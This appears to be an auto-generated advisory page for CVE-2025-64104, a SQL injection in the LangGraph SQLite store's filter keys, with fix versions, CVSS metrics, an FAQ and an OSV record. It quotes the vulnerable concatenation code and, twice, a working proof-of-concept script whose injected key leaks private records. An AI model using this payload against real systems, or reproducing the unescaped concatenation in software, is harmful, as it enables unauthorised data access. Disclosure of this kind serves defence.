CVE-2025-64104: Langgraph checkpoint sqlite SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-7p73-8jqx-23r8
CVSS 7.3
CWE-89
Published
Advisory Summary

CVE-2025-64104 is a HIGH (CVSS 7.3) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Langgraph checkpoint sqlite libraries in the PyPI ecosystem. The issue involves langgraph sqlite checkpoint filter key sql injection poc for sqlitestore. Remediation is available by upgrading affected packages to version 2.0.11.

CVE-2025-64104 at a Glance

CVE Identifier CVE-2025-64104
GHSA Identifier GHSA-7p73-8jqx-23r8
Severity HIGH
CVSS v3.1 Base Score 7.3
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Langgraph checkpoint sqlite
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2025-64104

To remediate this vulnerability, upgrade all affected Langgraph checkpoint sqlite dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langgraph-checkpoint-sqlite fixed: 2.0.11
pip install langgraph-checkpoint-sqlite>=2.0.11
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show langgraph-checkpoint-sqlite

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-64104, inspect your installed packages using pip:

pip show langgraph-checkpoint-sqlite

Analyze the terminal output to locate any version of Langgraph checkpoint sqlite in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.11), your application is affected.

Note: The pip show langgraph-checkpoint-sqlite command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Langgraph checkpoint sqlite, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

CVE-2025-64104 Affected Langgraph checkpoint sqlite Versions

1 component(s)
Fixed Versions:
2.0.11
Product / Package Ecosystem Affected Versions Fixed Version
langgraph-checkpoint-sqlite
PyPI
< 2.0.11
2.0.11

References

Frequently Asked Questions

What is CVE-2025-64104?
CVE-2025-64104 is a security vulnerability in Langgraph checkpoint sqlite involving LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Langgraph checkpoint sqlite versions are affected?
Affected versions include releases prior to 2.0.11 across affected packages: langgraph-checkpoint-sqlite.
What version fixes CVE-2025-64104?
Upgrading to 2.0.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langgraph-checkpoint-sqlite affected?
Yes, langgraph-checkpoint-sqlite is affected in releases prior to 2.0.11. Upgrade your dependency to 2.0.11 or later.
What is the CVSS score of CVE-2025-64104?
CVE-2025-64104 has a CVSS v3.1 base score of 7.3 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N.
What CWE is associated with CVE-2025-64104?
CVE-2025-64104 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check PyPI dependencies for CVE-2025-64104?
Run the dependency tree command: 'pip show langgraph-checkpoint-sqlite'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7p73-8jqx-23r8",
  "modified" : "2025-10-29T22:21:43Z",
  "published" : "2025-10-29T22:21:43Z",
  "aliases" : [ "CVE-2025-64104" ],
  "summary" : "LangGraph SQLite Checkpoint Filter Key SQL Injection POC for SqliteStore",
  "details" : "### Summary\nLangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.\n\n### Details\n[`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407)\n\nThe key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.\n\n```python\n  filter_conditions.append(\n      \"json_extract(value, '$.\"\n      + key  # <-- Directly concatenated, no escaping!\n      + \"') = '\"\n      + value.replace(\"'\", \"''\")  # <-- Only value is escaped\n      + \"'\"\n  )\n```\n\n### Who is affected\n\nThis issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. \n\nAn application is vulnerable only if it:\n1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and**\n2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data).\n\nIf filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.\n\nNote: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal SQLite Key Injection POC for LangGraph\"\"\"\n\nfrom langgraph.store.sqlite import SqliteStore\n\n# Create store with test data\nwith SqliteStore.from_conn_string(\":memory:\") as store:\n    store.setup()\n    \n    # Add public and private documents\n    store.put((\"docs\",), \"public\", {\"access\": \"public\", \"data\": \"public info\"})\n    store.put((\"docs\",), \"private\", {\"access\": \"private\", \"data\": \"secret\", \"password\": \"123\"})\n    \n    # Normal query - returns 1 public document\n    normal = store.search((\"docs\",), filter={\"access\": \"public\"})\n    print(f\"Normal query: {len(normal)} docs\")\n    \n    # SQL injection via malicious key\n    malicious_key = \"access') = 'public' OR '1'='1' OR json_extract(value, '$.\"\n    injected = store.search((\"docs\",), filter={malicious_key: \"dummy\"})\n    \n    print(f\"Injected query: {len(injected)} docs\")\n    for doc in injected:\n        if doc.value.get(\"access\") == \"private\":\n            print(f\"LEAKED: {doc.value}\")\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langgraph-checkpoint-sqlite"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.10"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-7p73-8jqx-23r8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-64104"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/langchain-ai/langgraph/commit/bc9d45b476101e441cb1cc602dea03eb29232de4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langchain-ai/langgraph"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-29T22:21:43Z",
    "nvd_published_at" : "2025-10-29T19:15:39Z"
  }
}